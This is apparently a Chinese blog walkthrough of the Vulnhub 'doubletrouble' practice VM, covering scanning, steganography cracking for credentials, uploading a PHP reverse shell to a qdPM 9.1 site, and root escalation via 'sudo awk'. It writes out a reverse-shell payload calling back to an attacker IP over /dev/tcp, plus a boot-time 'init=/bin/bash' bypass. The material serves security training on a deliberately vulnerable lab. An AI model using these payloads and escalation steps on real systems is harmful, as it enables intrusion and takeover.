当前位置: 首页 > news >正文

Vulnhub doubletrouble 靶场复现 详细攻略

一、靶机安装

下载地址:https://download.vulnhub.com/doubletrouble/doubletrouble.ova

下载好后,使用VM打开,进行安装(如有错入点击重试)。

安装好后注意靶机下列配置信息。连接模式。

二、主机发现

使用相同连接模式下的kali虚拟机进行扫描()

nmap -sn 192.168.29.1/24

主播第一遍没有扫描出来,如果有相同问题的按下列步骤解决(网卡接口的问题)。

  1. 在刚刚打开虚拟机的时候按shift出现下图界面,按e进入编辑。

  1. 在编辑界面找到下图位置,在后面添加一下以下语句,加完以后Ctrl X。
rw single init=/bin/bash

  1. 进入bash shell 界面,输入ip a 查看网卡ens33,修改网络配置文件/etc/network/interfaces。将里面的内容修改为下图所示。然后重启虚拟机。

nano /etc/network/interfaces

再次进行扫描就可以扫到了(192.168.29.141)

三、端口扫描

经过扫描发现开启了22(ssh)80(http)端口

nmap -A -p- 192.168.29.141

四、目录探测

先访问一下80端口,看看内容然后使用目录探测找出其他隐藏目录。

dirsearch -u http://192.168.29.141 -e *

80端口为登录界面,qdPM版本9.1。

扫描出来以下文件,访问一下初步找到可以利用的信息。

五、web渗透

在secret目录下有一个和靶机名称一样的图片且在网站中没有体现出来,猜测可能存在隐写,下载下来使用kali看看。

stegseek --crack doubletrouble.jpg /usr/share/wordlists/rockyou.txt -xf output.txt

出现下述问题,代表没有这个工具,下载即可。

apt insatll stegseek
otisrush@localhost.com
otis666

解出来这个好像是ssh的连接用户名和密码,尝试连接一下。连不上也有可能是一个邮箱和密码。尝试登录。

ssh otisrush@192.168.29.141

成功登录。

下图所示位置可以进行文件上传,编写一句话木马上传连接,getshell。

<?php$attacker_ip = 192.168.29.128;
$port = 6666;$command = "bash -i >& /dev/tcp/$attacker_ip/$port 0>&1";exec($command);
?>

上传文件报错是正常的,文件可以正常上传上去。

六、提权

使用sudo -l 查看root权限命令,找到一个awk的命令。

sudo awk 'BEGIN {system("/bin/bash")}'

完结撒花✿✿ヽ(°▽°)ノ✿

http://www.dtcms.com/a/324973.html

相关文章:

  • Knuth‘s TwoSum Algorithm 原理详解
  • MyBatis 核心入门:从概念到实战,一篇掌握简单增删改查
  • 【东枫科技】FR3 可扩展测试平台,适用于 6G 研究与卫星通信,高达 1.6 GHz 的带宽
  • 【自动化运维神器Ansible】playbook案例解析:Tags组件实现任务选择性执行
  • 【01】华勤技术股份有限公司——华勤C++笔试,题目记录及解析
  • Java基础-使用反射做一个简易框架
  • Python 实例属性和类属性
  • 【PyTorch】单目标检测项目
  • vulnhub-Drippingblues靶机
  • Typora结合PicGo + 使用Gitee搭建个人免费图床
  • 计算机网络---IP(互联网协议)
  • 2025年6月电子学会全国青少年软件编程等级考试(Python六级)真题及答案
  • 二叉树进阶 之 【二叉搜索树的简介与模拟实现的前提准备】
  • 【杂谈】-智能代理+可观察性:构建下一代复杂系统监控体系
  • UE5多人MOBA+GAS 41、制作一个飞弹,添加准心索敌
  • JS实现数组扁平化
  • 计算二分类误差时的常见错误及解决方案
  • ubuntu22.04+samba
  • VMware 使用 Ubuntu 一段时间后逐渐卡顿、甚至卡死的问题
  • sqli-labs-master/Less-51~Less-61
  • 解读 GPT-5:从“博士级 AI 专家”能力到 OpenAI API Key 获取与实践(提示工程→性能调优全流程)
  • MySQL自增ID与UUID的区别及其在索引分裂中的表现与优化
  • W3D引擎游戏开发----从入门到精通【23】
  • 2013年考研数学(二)真题
  • A#语言详解
  • 相比于传统的全波分析,特征模分析具有哪些优点
  • vue如何监听localstorage
  • 博览会(树形DP)
  • 机器学习——标准化、归一化
  • Spring Boot 事务详解:原理与实操指南